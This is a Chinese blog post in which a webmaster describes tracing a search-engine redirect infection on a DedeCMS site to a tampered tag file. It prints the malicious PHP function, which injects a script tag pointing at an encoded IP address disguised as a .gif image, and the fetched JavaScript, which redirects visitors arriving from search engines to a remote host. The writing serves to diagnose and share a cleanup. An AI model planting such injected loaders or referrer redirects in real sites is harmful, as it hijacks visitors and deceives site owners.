又經歷了一次dedecms被掛馬排毒的過程,排毒過程在這里跟大家分享一下。
掛馬之后,網站的表現形式:
直接訪問網站沒有任何問題,從百度搜索的關鍵詞訪問網站,就跳轉到另外一個網站。
根據我原來的排毒經驗:很可能是有人在php里面寫入了判斷來路的代碼,如果是經過百度來的,就跳轉到另外一個網站,如果不是,就可以訪問。
不過檢查了一下php代碼,沒有發現任何問題。
從百度關鍵詞訪問過來的話,能夠看到本網站的title,只是一閃而過,就跳轉了。根據這個現象判斷,馬應該是在js里面。於是下載網站模板文件,查找可疑的js代碼。找了很久沒有找到。只好通過最笨的方法一點點排查。於是每一段寫了一個alert。
找到最后出現的alert點擊確定之后跳轉,那么馬就在那個alert附近。
找了一段時間,終於發現了一段可以的代碼:{dede:dinfo}
做dedecms的人都知道,這個是一個自定義標簽的調用方式,其源碼在:/include/taglib/dinfo.lib.php里面。於是打開這個文件,看到如下代碼:
[代碼]php代碼:
01<?php
02if(!defined('DEDEINC')){
03exit("Request Error!");
04}
05/**
06* 系統默認標簽
07*
08* @version $Id: dinfo.lib.php 1 9:29 2010年7月6日Z tianya $
09* @package DedeCMS.Taglib
10* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
11* @license http://help.dedecms.com/usersguide/license.html
12* @link http://www.dedecms.com
13*/
14
15/*>>dede>>
16<name>系統默認標簽</name>
17<type>全局標記</type>
18<for>V55,V56,V57</for>
19<description>系統默認標簽</description>
20<demo>
21{dede:dinfo /}
22</demo>
23<attributes>
24</attributes>
25>>dede>>*/
26
27function lib_dinfo()
28{
29global $dsql,$envs;
30$revalue = '<script language="javascript" type="text/javascript" src="http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif"></script>';
31return $revalue;
32}
剛開始也沒有看出什么問題,就是一段js代碼,然后引用了一個圖片,不過訪問下這個圖片地址就知道了,在瀏覽器中輸入這個地址:http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif
能看到如下代碼:
[代碼]js代碼:
1GID89a="";
2var s=document.referrer;
3var str=window.location.href;
4if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )
5window.location.href="http://118.244.215.213/Images/a2.asp?cpy="+str+"&kecy="+s;
怎么樣,看出問題來了吧?
簡單解說一下:
[代碼]js代碼:
1if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )
這里就是判斷來路,如果來源是:google、百度、yahoo、sogou、bing、360、soso、youdao,就跳轉到下面這個地址:
[代碼]js代碼:
1http://118.244.215.213/Images/a2.asp?cpy="+str+"&kecy="+s;
(這個人可真夠黑的,光攔截百度還不夠,還要把這些常用的搜索都攔截了。)
這段代碼掛的太隱蔽了,讓我找了好久。在這里分享給大家,希望能夠幫助需要的朋友。
除非注明,文章均為 PHP二次開發網 原創,轉載請注明本文地址: http://www.php2.cc/article-865-1.html
